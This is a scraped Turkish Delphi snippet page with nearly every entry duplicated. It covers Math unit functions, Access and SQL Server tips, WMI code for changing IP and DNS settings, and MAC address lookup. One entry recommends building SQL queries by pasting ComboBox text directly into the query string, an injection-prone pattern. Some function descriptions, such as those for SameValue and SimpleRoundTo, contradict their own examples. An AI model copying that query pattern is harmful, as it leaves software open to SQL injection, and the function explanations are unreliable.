Programlama yapalım ve Öğrenelim.

SameValue Fonksiyonu (Aritmetik Usuller) - İki ondalık sayının eşitliğinin karşılaştırılması***

İki ondalık sayının eiştiliğini karşılaştırır. Bu fark sıfıra eşit ise yani a-b=0

ise sonuç true değilse false olur. SameValue fonksiyonunda üç parametreden oluşur.

bunlardan ilk ikisi eşitliği karşılaştırlıcak ondalık sayılar üçüncü parametre ise

bu eşitliğin neye eşit olcağıdır. Eğer SameValue fonksiyonunda iki parametre

kullanılırsa üçüncü parametreyi deplhi varsayılan olarak 0 olarak kabul eder.

Kullanınmı :

SameValue(const A, B: Single; Epsilon: Single = 0): Boolean; overload;

SameValue(const A, B: Double; Epsilon: Double = 0): Boolean; overload;

SameValue(const A, B: Extended; Epsilon: Extended = 0): Boolean; overload;

Örnek :

Uses Math;

procedure TForm1.Button1Click(Sender: TObject);

begin

if samevalue(13.7, 10.7, 3) = true then

begin

MessageDlg('Sonuç Üçe Eşit ', mtInformation, [mbOk], 0);

end;

if samevalue(13.7, 10.7) = true then

begin

MessageDlg('Sonuç Sıfıra Eşit ', mtInformation, [mbOk], 0);

end;

Delphi - .....................................

Sign Fonksiyonu (Aritmetik Usuller) - Sayının sayı düzleminde nerde olduğunu belirleme

Sayının sayı düzlemde nerde olduğunu belirlemek için kulllanılan fonksiyondur.

Sign fonksiyonu 3 adet sonuç dönderir.Delphide bu sonuçlar TValueSign tipi ile

belirlenmiştir. Aynı zamanda sonuçlar tamsayıdır. Eğer sign fonksiyonunda

kullanılan sayı sıfır ise sonuç sıfır (0),sıfırdan büyükse sonuç bir (1),

sonuç sıfırdan küçükse eksi bir (-1) dönderir.

Kullanımı : Sign(const AValue: Double): TValueSign; overload;

Sign(const AValue: Integer): TValueSign; overload;

Sign(const AValue: Int64): TValueSign; overload;

örnek:

Uses Math;

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2, r3: integer;

begin

r1 := sign(0.2);

r2 := sign(0);

r3 := sign(-0.2);

MessageDlg('r1 : ' + inttostr(r1) + #13 + 'r2 : ' + inttostr(r2) + #13 +

'r3 : ' + inttostr(r3) , mtInformation, [mbOk], 0);

end;

Delphi - .....................................

Sign Fonksiyonu (Aritmetik Usuller) - Sayının sayı düzleminde nerde olduğunu belirleme

Sayının sayı düzlemde nerde olduğunu belirlemek için kulllanılan fonksiyondur.

Sign fonksiyonu 3 adet sonuç dönderir.Delphide bu sonuçlar TValueSign tipi ile

belirlenmiştir. Aynı zamanda sonuçlar tamsayıdır. Eğer sign fonksiyonunda

kullanılan sayı sıfır ise sonuç sıfır (0),sıfırdan büyükse sonuç bir (1),

sonuç sıfırdan küçükse eksi bir (-1) dönderir.

Kullanımı : Sign(const AValue: Double): TValueSign; overload;

Sign(const AValue: Integer): TValueSign; overload;

Sign(const AValue: Int64): TValueSign; overload;

örnek:

Uses Math;

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2, r3: integer;

begin

r1 := sign(0.2);

r2 := sign(0);

r3 := sign(-0.2);

MessageDlg('r1 : ' + inttostr(r1) + #13 + 'r2 : ' + inttostr(r2) + #13 +

'r3 : ' + inttostr(r3) , mtInformation, [mbOk], 0);

end;

Delphi - .....................................

SimpleRoundTo Fonksiyonu (Aritmetik Usuller) -

Çalışma mantığı RoundTo fonksiyonuna çok benzemektedir.

Aralarında ki tek fark SimpleRoundTo fonksiyonunda yuvarlatma işlemi

uygulanmayacağıdır.

Kullanımı : SimpleRoundTo(ondalıklı_sayı , Tam_Sayı);

Örnek :

İfade Sonuç

SimpleRoundTo(1234567, 3) 1234000

SimpleRoundTo(1.234, -2) 1.23

SimpleRoundTo(1.235, -2) 1.24

SimpleRoundTo(-1.235, -2) -1.23

Delphi - .....................................

SimpleRoundTo Fonksiyonu (Aritmetik Usuller) -

Çalışma mantığı RoundTo fonksiyonuna çok benzemektedir.

Aralarında ki tek fark SimpleRoundTo fonksiyonunda yuvarlatma işlemi

uygulanmayacağıdır.

Kullanımı : SimpleRoundTo(ondalıklı_sayı , Tam_Sayı);

Örnek :

İfade Sonuç

SimpleRoundTo(1234567, 3) 1234000

SimpleRoundTo(1.234, -2) 1.23

SimpleRoundTo(1.235, -2) 1.24

SimpleRoundTo(-1.235, -2) -1.23

Delphi - .....................................

Sqr Fonksiyonu (Aritmetik Usuller) - Sayının Karesi (a*a)

Ondalık veya tam bir sayının karesini alır. (a*a)

Kullanımı : Sqr(X: Extended): Extended;

Sqr(X: Integer): Integer;

Örnek :

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2 : integer;

r3 : Real;

begin

r1 := Sqr(2);

r2 := Sqr(3);

r3 := Sqr(6.3);

MessageDlg('r1 : ' + inttostr(r1) + #13 + 'r2 : ' + inttostr(r2) + #13 +

'r3 : ' + Floattostr(r3), mtInformation, [mbOk], 0);

end;

Delphi - .....................................

Sqr Fonksiyonu (Aritmetik Usuller) - Sayının Karesi (a*a)

Ondalık veya tam bir sayının karesini alır. (a*a)

Kullanımı : Sqr(X: Extended): Extended;

Sqr(X: Integer): Integer;

Örnek :

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2 : integer;

r3 : Real;

begin

r1 := Sqr(2);

r2 := Sqr(3);

r3 := Sqr(6.3);

MessageDlg('r1 : ' + inttostr(r1) + #13 + 'r2 : ' + inttostr(r2) + #13 +

'r3 : ' + Floattostr(r3), mtInformation, [mbOk], 0);

end;

Delphi - .....................................

Trunc Fonksiyonu (Aritmetik Usuller) - Ondalık sayının, tam kısmını gönderir

Ondalık sayının veya sonucu ondalık olacak ifadenin tam kısmını dönderir.

Kullanımı : Trunc(X: Extended): Int64;

Örnek :

Uses System;

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2: Integer;

begin

r1 := Trunc(12.50);

r2 := Trunc (17 / 5);

MessageDlg('r1 : ' + inttostr(r1) + #13 + 'r2 : ' + inttostr(r2),

mtInformation, [mbOk], 0);

end;

Sonuç : r1 : 12

r2 : 3

Delphi - .....................................

Trunc Fonksiyonu (Aritmetik Usuller) - Ondalık sayının, tam kısmını gönderir

Ondalık sayının veya sonucu ondalık olacak ifadenin tam kısmını dönderir.

Kullanımı : Trunc(X: Extended): Int64;

Örnek :

Uses System;

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2: Integer;

begin

r1 := Trunc(12.50);

r2 := Trunc (17 / 5);

MessageDlg('r1 : ' + inttostr(r1) + #13 + 'r2 : ' + inttostr(r2),

mtInformation, [mbOk], 0);

end;

Sonuç : r1 : 12

r2 : 3

Delphi - .....................................

Sqrt Fonksiyonu (Aritmetik Usuller) - Kare kök

Bir tam sayı veya ondalık sayının kare kökünü almak için kullanılır. Sonuç

ondalıktır.

Kullanımı : Sqrt(X: Extended): Extended;

Örnek:

Uses Math;

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2,r3 : Real;

begin

r1 := Sqrt(4);

r2 := Sqrt(9);

r3 := Sqrt(36.9);

MessageDlg('r1 : ' + floattostr(r1) + #13 + 'r2 : ' + floattostr(r2) + #13 +

'r3 : ' + Floattostr(r3), mtInformation, [mbOk], 0);

end;

Delphi - .....................................

Sqrt Fonksiyonu (Aritmetik Usuller) - Kare kök

Bir tam sayı veya ondalık sayının kare kökünü almak için kullanılır. Sonuç

ondalıktır.

Kullanımı : Sqrt(X: Extended): Extended;

Örnek:

Uses Math;

procedure TForm1.Button1Click(Sender: TObject);

var

r1, r2,r3 : Real;

begin

r1 := Sqrt(4);

r2 := Sqrt(9);

r3 := Sqrt(36.9);

MessageDlg('r1 : ' + floattostr(r1) + #13 + 'r2 : ' + floattostr(r2) + #13 +

'r3 : ' + Floattostr(r3), mtInformation, [mbOk], 0);

end;

Delphi - .....................................

Access veri tabanı alan tipini değiştirme

{String alanı datetime yapmak.

alter table [tablo adı] alter column [değişecek alan adı] datetime

kodu ister jet bağlantısı kurulsun ister ODBC bağlantısı kurulsun istenileni

veri kaybı olmadan yapacaktır fakat eğer tarih tipine uygun olmayan kayıt varsa

işlem gerçekleşmez. Bunu da tarihe uymayan string değerleri Null yaparak

engelleyebiliriz.

Diğer alan tipleri hakkından bilgi almak için Jet Sürücüsü ile

SQL Server arasındaki benzerlik kullanılabilir. Böylece SQL Server komutlarından

yardım alınabilir.}

//Tarihe uymayan string değerin silinip alan tipinin değiştirilmesi....

ADOTable1.First;

while not ADOTable1.Eof do begin

try

StrToDate(ADOTable1Tar.AsString);

except

ADOTable1.Edit;

ADOTable1Tar.Clear;

ADOTable1.Post;//uygun olmayan tarih değeri silindi.İsteğe göre değişik işlemler de yapılabilir.

end;

ADOTable1.Next;

end;

try

ADOConnection1.Execute('alter table Musteri alter column Tar datetime');

ShowMessage('Alan değiştirme işlemi tamamlandı.');

except

on E:Exception do

ShowMessage(Format('Hata oluştu -> %s',[E.Message]));//Orjinal hatanın ne olduğu görünür.

end;

{Eğer Tools->Debugger Options menüsünün açtığı formda Language Exceptions sayfasında

(D2005'te->Tools->Options penceresinde Debugger Options->Borland Debuggers->Language Exceptions

düğümünde ki Notify on language exceptions)

Stop on Delphi Exceptions seçeneği işaretli ise Delphi üzerinden çalıştırılan program

her except bloğu için hata üretip kodun olduğu yere yerleşecektir, fakat .exe

program sorunsuz bir akış sergileyecektir. Aynı akışı delphi üzerinde sağlamak

için bu seçenekteki işaret kaldırılmalıdır. Çünkü hataları kasıtlı olarak üretip

ona göre kodumuzu oluşturduk.}

Delphi - .....................................

Access veri tabanı alan tipini değiştirme

{String alanı datetime yapmak.

alter table [tablo adı] alter column [değişecek alan adı] datetime

kodu ister jet bağlantısı kurulsun ister ODBC bağlantısı kurulsun istenileni

veri kaybı olmadan yapacaktır fakat eğer tarih tipine uygun olmayan kayıt varsa

işlem gerçekleşmez. Bunu da tarihe uymayan string değerleri Null yaparak

engelleyebiliriz.

Diğer alan tipleri hakkından bilgi almak için Jet Sürücüsü ile

SQL Server arasındaki benzerlik kullanılabilir. Böylece SQL Server komutlarından

yardım alınabilir.}

//Tarihe uymayan string değerin silinip alan tipinin değiştirilmesi....

ADOTable1.First;

while not ADOTable1.Eof do begin

try

StrToDate(ADOTable1Tar.AsString);

except

ADOTable1.Edit;

ADOTable1Tar.Clear;

ADOTable1.Post;//uygun olmayan tarih değeri silindi.İsteğe göre değişik işlemler de yapılabilir.

end;

ADOTable1.Next;

end;

try

ADOConnection1.Execute('alter table Musteri alter column Tar datetime');

ShowMessage('Alan değiştirme işlemi tamamlandı.');

except

on E:Exception do

ShowMessage(Format('Hata oluştu -> %s',[E.Message]));//Orjinal hatanın ne olduğu görünür.

end;

{Eğer Tools->Debugger Options menüsünün açtığı formda Language Exceptions sayfasında

(D2005'te->Tools->Options penceresinde Debugger Options->Borland Debuggers->Language Exceptions

düğümünde ki Notify on language exceptions)

Stop on Delphi Exceptions seçeneği işaretli ise Delphi üzerinden çalıştırılan program

her except bloğu için hata üretip kodun olduğu yere yerleşecektir, fakat .exe

program sorunsuz bir akış sergileyecektir. Aynı akışı delphi üzerinde sağlamak

için bu seçenekteki işaret kaldırılmalıdır. Çünkü hataları kasıtlı olarak üretip

ona göre kodumuzu oluşturduk.}

Delphi - .....................................

Server Tarih-Saatini Clientte Set Etme

****************************Ali BOZKURT***************************************

**********************ali_bozkurt@hotmail.com*********************************

procedure Tyislem_frm.servertime(Sender: TObject);

var

SysTime: TSystemTime;

DateTime: TDateTime;

yil,ay,gun,saat,dakika,saniye,salise : word;

begin

Querytime.close;

Querytime.Sql.Clear;

Querytime.Sql.Add('SELECT current_timestamp AS DATE');

Querytime.Open;

sysTimer.Enabled:=false;

DecodeDate(datamod.Querytime.FieldByName('DATE').AsDateTime,yil,ay,gun);

DecodeTime(datamod.Querytime.FieldByName('DATE').AsDateTime,saat,dakika,saniye,salise);

ReplaceDate(DateTime, strtodate(inttostr(gun)+'.'+inttostr(ay)+'.'+inttostr(yil)));

ReplaceTime(DateTime,strtotime(inttostr(saat)+':'+inttostr(dakika)+':'+inttostr(saniye)));

DateTimeToSystemTime(DateTime, SysTime);

SetLocalTime(SysTime);

end;

Delphi - .....................................

Server Tarih-Saatini Clientte Set Etme

****************************Ali BOZKURT***************************************

**********************ali_bozkurt@hotmail.com*********************************

procedure Tyislem_frm.servertime(Sender: TObject);

var

SysTime: TSystemTime;

DateTime: TDateTime;

yil,ay,gun,saat,dakika,saniye,salise : word;

begin

Querytime.close;

Querytime.Sql.Clear;

Querytime.Sql.Add('SELECT current_timestamp AS DATE');

Querytime.Open;

sysTimer.Enabled:=false;

DecodeDate(datamod.Querytime.FieldByName('DATE').AsDateTime,yil,ay,gun);

DecodeTime(datamod.Querytime.FieldByName('DATE').AsDateTime,saat,dakika,saniye,salise);

ReplaceDate(DateTime, strtodate(inttostr(gun)+'.'+inttostr(ay)+'.'+inttostr(yil)));

ReplaceTime(DateTime,strtotime(inttostr(saat)+':'+inttostr(dakika)+':'+inttostr(saniye)));

DateTimeToSystemTime(DateTime, SysTime);

SetLocalTime(SysTime);

end;

Delphi - .....................................

tarihi yazıya çevirmek

girilen tarihi yazıya çevirmek istiyorum yardımcı olurmusunuz.

Örnek:/

02.02.2006 = sıfırikisıfırikiikibinaltı

Delphi - .....................................

tarihi yazıya çevirmek

girilen tarihi yazıya çevirmek istiyorum yardımcı olurmusunuz.

Örnek:/

02.02.2006 = sıfırikisıfırikiikibinaltı

Delphi - .....................................

sql

Merhabalr...Bazen sorgulamalarımızda veri tabanındaki sayı tipindeki alanlara göre yapmak gerekebilir.

Bunu yaparken aşağıdaki örnekte olduğu gibi yaparsanız hata i,le karşılaşmazsınız...

Metinsel aralamalarda yaptığımız...

sql.Clear;

sql.Add('select * from ders Where sinifi="'+ComboBox1.Text+'" and ders_adi="'+ComboBox3.Text+'"');

Active:=True;

Sayısal alanlarda yapılacak sorgulama

sql.Clear;

sql.Add('select * from ders Where sinifi='+ComboBox1.Text);

Active:=True;

Delphi - .....................................

sql

Merhabalr...Bazen sorgulamalarımızda veri tabanındaki sayı tipindeki alanlara göre yapmak gerekebilir.

Bunu yaparken aşağıdaki örnekte olduğu gibi yaparsanız hata i,le karşılaşmazsınız...

Metinsel aralamalarda yaptığımız...

sql.Clear;

sql.Add('select * from ders Where sinifi="'+ComboBox1.Text+'" and ders_adi="'+ComboBox3.Text+'"');

Active:=True;

Sayısal alanlarda yapılacak sorgulama

sql.Clear;

sql.Add('select * from ders Where sinifi='+ComboBox1.Text);

Active:=True;

Delphi - .....................................

Dikkat artık yaww

arkadaşlar bunu yazmayı hiç istemiyorum sadece kalabalık ama

Şu hiç bişeye yaramaz kodlarıda sırf göndermiş olmak için göndermeyin.

Biraz kalite yaww.

yok formda saat görünecekmiş.

form2 yi göstermekmiş mesaj göstermekmiş felan

Yardımıda forumlardan isteyin!!!

Delphi - .....................................

Dikkat artık yaww

arkadaşlar bunu yazmayı hiç istemiyorum sadece kalabalık ama

Şu hiç bişeye yaramaz kodlarıda sırf göndermiş olmak için göndermeyin.

Biraz kalite yaww.

yok formda saat görünecekmiş.

form2 yi göstermekmiş mesaj göstermekmiş felan

Yardımıda forumlardan isteyin!!!

Delphi - .....................................

CAM Programı

Delphi7 GlScene OpenGl componentlerini kullanarak yaptığım bir CAM programı...

http://skilledcad.azbuz.com/index.jsp

http://skilledcad.8k.com/index.html

SkilledCAD http://www.sendmefile.com/00475544

SkilledCAM http://www.sendmefile.com/00475064

NC Viewer http://www.sendmefile.com/00478536

YapiCAD http://www.sendmefile.com/00499235

Delphi - .....................................

CAM Programı

Delphi7 GlScene OpenGl componentlerini kullanarak yaptığım bir CAM programı...

http://skilledcad.azbuz.com/index.jsp

http://skilledcad.8k.com/index.html

SkilledCAD http://www.sendmefile.com/00475544

SkilledCAM http://www.sendmefile.com/00475064

NC Viewer http://www.sendmefile.com/00478536

YapiCAD http://www.sendmefile.com/00499235

Delphi - .....................................

IP,DNS,Getaway,subnetmask adreslerini değiştirmek

uses ComObj, ActiveX, UrlMon;

// ======================================================================

// SetIpConfig()

// Set IPAddress, Gateway and Subnetmask via WMI

// Arguments ...

// AIpAddress - If Null String or 'DHCP' then DHCP is ENABLED

// else STATIC IP is set.

// AGateWay - [Optional] If Omitted then GATEWAY is left unchanged.

// SubnetMask - [Optional] If Omited then default = '255.255.255.0'.

// SetDnsServers()

// Set DNS Servers via WMI

// Arguments ...

// APrimaryDNS - If Null String then DNS Server List is CLEARED.

// AAlternateDNS - [Optional]

// Return Values ...

// 0 Successful completion, no reboot required.

// 1 Successful completion, reboot required.

// -1 Unknown OLE Error

// 64 Method not supported on this platform.

// 65 Unknown failure.

// 66 Invalid subnet mask.

// 67 An error occurred while processing an instance that was returned.

// 68 Invalid input parameter.

// 69 More than five gateways specified.

// 70 Invalid IP address.

// 71 Invalid gateway IP address.

// 72 An error occurred while accessing the registry for the info.

// 73 Invalid domain name.

// 74 Invalid host name.

// 75 No primary or secondary WINS server defined.

// 76 Invalid file.

// 77 Invalid system path.

// 78 File copy failed.

// 79 Invalid security parameter.

// 80 Unable to configure TCP/IP service.

// 81 Unable to configure DHCP service.

// 82 Unable to renew DHCP lease.

// 83 Unable to release DHCP lease.

// 84 IP not enabled on adapter.

// 85 IPX not enabled on adapter.

// 86 Frame/network number bounds error.

// 87 Invalid frame type.

// 88 Invalid network number.

// 89 Duplicate network number.

// 90 Parameter out of bounds.

// 91 Access denied.

// 92 Out of memory.

// 93 Already exists.

// 94 Path, file, or object not found.

// 95 Unable to notify service.

// 96 Unable to notify DNS service.

// 97 Interface not configurable.

// 98 Not all DHCP leases could be released or renewed.

// 100 DHCP not enabled on adapter.

// ======================================================================

// ==================================================================

// IP Address,Gateway and Subnet Mask

// EnableStatic takes array of string as a parameter

// for the Addresses. You may wish to rewrite this using

// array of string as parameter for multiple IP Addresses.

// I only have use for 1 IP address and Gateway in our application

// but it's nice to be able to expand it for other users.

// ==================================================================

function SetIpConfig(const AIpAddress : string;

const AGateWay : string = '';

const ASubnetMask : string = '') : integer;

var Retvar : integer;

oBindObj : IDispatch;

oNetAdapters,oNetAdapter,

oIpAddress,oGateWay,

oWMIService,oSubnetMask : OleVariant;

i,iValue : longword;

oEnum : IEnumvariant;

oCtx : IBindCtx;

oMk : IMoniker;

sFileObj : widestring;

begin

Retvar := 0;

sFileObj := 'winmgmts:.rootcimv2';

// Create OLE [IN} Parameters

oIpAddress := VarArrayCreate([1,1],varOleStr);

oIpAddress[1] := AIpAddress;

oGateWay := VarArrayCreate([1,1],varOleStr);

oGateWay[1] := AGateWay;

oSubnetMask := VarArrayCreate([1,1],varOleStr);

if ASubnetMask = '' then

oSubnetMask[1] := '255.255.255.0'

else

oSubnetMask[1] := ASubnetMask;

// Connect to WMI - Emulate API GetObject()

OleCheck(CreateBindCtx(0,oCtx));

OleCheck(MkParseDisplayNameEx(oCtx,PWideChar(sFileObj),i,oMk));

OleCheck(oMk.BindToObject(oCtx,nil,IUnknown,oBindObj));

oWMIService := oBindObj;

oNetAdapters := oWMIService.ExecQuery('Select * from ' +

'Win32_NetworkAdapterConfiguration ' +

'where IPEnabled=TRUE');

oEnum := IUnknown(oNetAdapters._NewEnum) as IEnumVariant;

while oEnum.Next(1,oNetAdapter,iValue) = 0 do begin

try

// Set by DHCP ? (Gateway and Subnet ignored)

if (AIpAddress = '') or SameText(AIpAddress,'DHCP') then

Retvar := oNetAdapter.EnableDHCP

// Set via STATIC ?

else begin

Retvar := oNetAdapter.EnableStatic(oIpAddress,oSubnetMask);

// Change Gateway ?

if (Retvar = 0) and (AGateWay <> '') then

Retvar := oNetAdapter.SetGateways(oGateway);

// *** This is where we need some sort of ***

// *** Network Mapped Resource Refresh ***

end;

except

Retvar := -1;

end;

oNetAdapter := Unassigned;

end;

oGateWay := Unassigned;

oSubnetMask := Unassigned;

oIpAddress := Unassigned;

oNetAdapters := Unassigned;

oWMIService := Unassigned;

Result := Retvar;

end;

// ====================================================

// Set DNS Servers

// Instead of Primary and Alternate you may wish

// to rewrite this using array of string as the

// parameters as SetDNSServerSearchOrder will take

// a list of many DNS addresses. I only have use for

// Primary and Alternate.

// ====================================================

function SetDnsServers(const APrimaryDNS : string;

const AAlternateDNS : string = '') : integer;

var Retvar : integer;

oBindObj : IDispatch;

oNetAdapters,oNetAdapter,

oDnsAddr,oWMIService : OleVariant;

i,iValue,iSize : longword;

oEnum : IEnumvariant;

oCtx : IBindCtx;

oMk : IMoniker;

sFileObj : widestring;

begin

Retvar := 0;

sFileObj := 'winmgmts:.rootcimv2';

iSize := 0;

if APrimaryDNS <> '' then inc(iSize);

if AAlternateDNS <> '' then inc(iSize);

// Create OLE [IN} Parameters

if iSize > 0 then begin

oDnsAddr := VarArrayCreate([1,iSize],varOleStr);

oDnsAddr[1] := APrimaryDNS;

if iSize > 1 then oDnsAddr[2] := AAlternateDNS;

end;

// Connect to WMI - Emulate API GetObject()

OleCheck(CreateBindCtx(0,oCtx));

OleCheck(MkParseDisplayNameEx(oCtx,PWideChar(sFileObj),i,oMk));

OleCheck(oMk.BindToObject(oCtx,nil,IUnknown,oBindObj));

oWMIService := oBindObj;

oNetAdapters := oWMIService.ExecQuery('Select * from ' +

'Win32_NetworkAdapterConfiguration ' +

'where IPEnabled=TRUE');

oEnum := IUnknown(oNetAdapters._NewEnum) as IEnumVariant;

while oEnum.Next(1,oNetAdapter,iValue) = 0 do begin

try

if iSize > 0 then

Retvar := oNetAdapter.SetDNSServerSearchOrder(oDnsAddr)

else

Retvar := oNetAdapter.SetDNSServerSearchOrder();

except

Retvar := -1;

end;

oNetAdapter := Unassigned;

end;

oDnsAddr := Unassigned;

oNetAdapters := Unassigned;

oWMIService := Unassigned;

Result := Retvar;

end;

Delphi - .....................................

IP,DNS,Getaway,subnetmask adreslerini değiştirmek

uses ComObj, ActiveX, UrlMon;

// ======================================================================

// SetIpConfig()

// Set IPAddress, Gateway and Subnetmask via WMI

// Arguments ...

// AIpAddress - If Null String or 'DHCP' then DHCP is ENABLED

// else STATIC IP is set.

// AGateWay - [Optional] If Omitted then GATEWAY is left unchanged.

// SubnetMask - [Optional] If Omited then default = '255.255.255.0'.

// SetDnsServers()

// Set DNS Servers via WMI

// Arguments ...

// APrimaryDNS - If Null String then DNS Server List is CLEARED.

// AAlternateDNS - [Optional]

// Return Values ...

// 0 Successful completion, no reboot required.

// 1 Successful completion, reboot required.

// -1 Unknown OLE Error

// 64 Method not supported on this platform.

// 65 Unknown failure.

// 66 Invalid subnet mask.

// 67 An error occurred while processing an instance that was returned.

// 68 Invalid input parameter.

// 69 More than five gateways specified.

// 70 Invalid IP address.

// 71 Invalid gateway IP address.

// 72 An error occurred while accessing the registry for the info.

// 73 Invalid domain name.

// 74 Invalid host name.

// 75 No primary or secondary WINS server defined.

// 76 Invalid file.

// 77 Invalid system path.

// 78 File copy failed.

// 79 Invalid security parameter.

// 80 Unable to configure TCP/IP service.

// 81 Unable to configure DHCP service.

// 82 Unable to renew DHCP lease.

// 83 Unable to release DHCP lease.

// 84 IP not enabled on adapter.

// 85 IPX not enabled on adapter.

// 86 Frame/network number bounds error.

// 87 Invalid frame type.

// 88 Invalid network number.

// 89 Duplicate network number.

// 90 Parameter out of bounds.

// 91 Access denied.

// 92 Out of memory.

// 93 Already exists.

// 94 Path, file, or object not found.

// 95 Unable to notify service.

// 96 Unable to notify DNS service.

// 97 Interface not configurable.

// 98 Not all DHCP leases could be released or renewed.

// 100 DHCP not enabled on adapter.

// ======================================================================

// ==================================================================

// IP Address,Gateway and Subnet Mask

// EnableStatic takes array of string as a parameter

// for the Addresses. You may wish to rewrite this using

// array of string as parameter for multiple IP Addresses.

// I only have use for 1 IP address and Gateway in our application

// but it's nice to be able to expand it for other users.

// ==================================================================

function SetIpConfig(const AIpAddress : string;

const AGateWay : string = '';

const ASubnetMask : string = '') : integer;

var Retvar : integer;

oBindObj : IDispatch;

oNetAdapters,oNetAdapter,

oIpAddress,oGateWay,

oWMIService,oSubnetMask : OleVariant;

i,iValue : longword;

oEnum : IEnumvariant;

oCtx : IBindCtx;

oMk : IMoniker;

sFileObj : widestring;

begin

Retvar := 0;

sFileObj := 'winmgmts:.rootcimv2';

// Create OLE [IN} Parameters

oIpAddress := VarArrayCreate([1,1],varOleStr);

oIpAddress[1] := AIpAddress;

oGateWay := VarArrayCreate([1,1],varOleStr);

oGateWay[1] := AGateWay;

oSubnetMask := VarArrayCreate([1,1],varOleStr);

if ASubnetMask = '' then

oSubnetMask[1] := '255.255.255.0'

else

oSubnetMask[1] := ASubnetMask;

// Connect to WMI - Emulate API GetObject()

OleCheck(CreateBindCtx(0,oCtx));

OleCheck(MkParseDisplayNameEx(oCtx,PWideChar(sFileObj),i,oMk));

OleCheck(oMk.BindToObject(oCtx,nil,IUnknown,oBindObj));

oWMIService := oBindObj;

oNetAdapters := oWMIService.ExecQuery('Select * from ' +

'Win32_NetworkAdapterConfiguration ' +

'where IPEnabled=TRUE');

oEnum := IUnknown(oNetAdapters._NewEnum) as IEnumVariant;

while oEnum.Next(1,oNetAdapter,iValue) = 0 do begin

try

// Set by DHCP ? (Gateway and Subnet ignored)

if (AIpAddress = '') or SameText(AIpAddress,'DHCP') then

Retvar := oNetAdapter.EnableDHCP

// Set via STATIC ?

else begin

Retvar := oNetAdapter.EnableStatic(oIpAddress,oSubnetMask);

// Change Gateway ?

if (Retvar = 0) and (AGateWay <> '') then

Retvar := oNetAdapter.SetGateways(oGateway);

// *** This is where we need some sort of ***

// *** Network Mapped Resource Refresh ***

end;

except

Retvar := -1;

end;

oNetAdapter := Unassigned;

end;

oGateWay := Unassigned;

oSubnetMask := Unassigned;

oIpAddress := Unassigned;

oNetAdapters := Unassigned;

oWMIService := Unassigned;

Result := Retvar;

end;

// ====================================================

// Set DNS Servers

// Instead of Primary and Alternate you may wish

// to rewrite this using array of string as the

// parameters as SetDNSServerSearchOrder will take

// a list of many DNS addresses. I only have use for

// Primary and Alternate.

// ====================================================

function SetDnsServers(const APrimaryDNS : string;

const AAlternateDNS : string = '') : integer;

var Retvar : integer;

oBindObj : IDispatch;

oNetAdapters,oNetAdapter,

oDnsAddr,oWMIService : OleVariant;

i,iValue,iSize : longword;

oEnum : IEnumvariant;

oCtx : IBindCtx;

oMk : IMoniker;

sFileObj : widestring;

begin

Retvar := 0;

sFileObj := 'winmgmts:.rootcimv2';

iSize := 0;

if APrimaryDNS <> '' then inc(iSize);

if AAlternateDNS <> '' then inc(iSize);

// Create OLE [IN} Parameters

if iSize > 0 then begin

oDnsAddr := VarArrayCreate([1,iSize],varOleStr);

oDnsAddr[1] := APrimaryDNS;

if iSize > 1 then oDnsAddr[2] := AAlternateDNS;

end;

// Connect to WMI - Emulate API GetObject()

OleCheck(CreateBindCtx(0,oCtx));

OleCheck(MkParseDisplayNameEx(oCtx,PWideChar(sFileObj),i,oMk));

OleCheck(oMk.BindToObject(oCtx,nil,IUnknown,oBindObj));

oWMIService := oBindObj;

oNetAdapters := oWMIService.ExecQuery('Select * from ' +

'Win32_NetworkAdapterConfiguration ' +

'where IPEnabled=TRUE');

oEnum := IUnknown(oNetAdapters._NewEnum) as IEnumVariant;

while oEnum.Next(1,oNetAdapter,iValue) = 0 do begin

try

if iSize > 0 then

Retvar := oNetAdapter.SetDNSServerSearchOrder(oDnsAddr)

else

Retvar := oNetAdapter.SetDNSServerSearchOrder();

except

Retvar := -1;

end;

oNetAdapter := Unassigned;

end;

oDnsAddr := Unassigned;

oNetAdapters := Unassigned;

oWMIService := Unassigned;

Result := Retvar;

end;

Delphi - .....................................

MAC adresi almanın başka yolu

function MacAddress: string;

var

Lib: Cardinal;

Func: function(GUID: PGUID): Longint; stdcall;

GUID1, GUID2: TGUID;

begin

Result := '';

Lib := LoadLibrary('rpcrt4.dll');

if Lib <> 0 then

begin

@Func := GetProcAddress(Lib, 'UuidCreateSequential');

if Assigned(Func) then

begin

if (Func(@GUID1) = 0) and

(Func(@GUID2) = 0) and

(GUID1.D4[2] = GUID2.D4[2]) and

(GUID1.D4[3] = GUID2.D4[3]) and

(GUID1.D4[4] = GUID2.D4[4]) and

(GUID1.D4[5] = GUID2.D4[5]) and

(GUID1.D4[6] = GUID2.D4[6]) and

(GUID1.D4[7] = GUID2.D4[7]) then

begin

Result :=

IntToHex(GUID1.D4[2], 2) + '-' +

IntToHex(GUID1.D4[3], 2) + '-' +

IntToHex(GUID1.D4[4], 2) + '-' +

IntToHex(GUID1.D4[5], 2) + '-' +

IntToHex(GUID1.D4[6], 2) + '-' +

IntToHex(GUID1.D4[7], 2);

end;

Delphi - .....................................

MAC adresi almanın başka yolu

function MacAddress: string;

var

Lib: Cardinal;

Func: function(GUID: PGUID): Longint; stdcall;

GUID1, GUID2: TGUID;

begin

Result := '';

Lib := LoadLibrary('rpcrt4.dll');

if Lib <> 0 then

begin

@Func := GetProcAddress(Lib, 'UuidCreateSequential');

if Assigned(Func) then

begin

if (Func(@GUID1) = 0) and

(Func(@GUID2) = 0) and

(GUID1.D4[2] = GUID2.D4[2]) and

(GUID1.D4[3] = GUID2.D4[3]) and

(GUID1.D4[4] = GUID2.D4[4]) and

(GUID1.D4[5] = GUID2.D4[5]) and

(GUID1.D4[6] = GUID2.D4[6]) and

(GUID1.D4[7] = GUID2.D4[7]) then

begin

Result :=

IntToHex(GUID1.D4[2], 2) + '-' +

IntToHex(GUID1.D4[3], 2) + '-' +

IntToHex(GUID1.D4[4], 2) + '-' +

IntToHex(GUID1.D4[5], 2) + '-' +

IntToHex(GUID1.D4[6], 2) + '-' +

IntToHex(GUID1.D4[7], 2);

end;

Delphi - .....................................

sql serverda trigger sp key list

sysobjects Tablosu Obje tipleri

C = CHECK constraint

D = Default or DEFAULT constraint

F = FOREIGN KEY constraint

L = Log

FN = Scalar function

IF = Inline table-function

P = Stored procedure

R = Rule

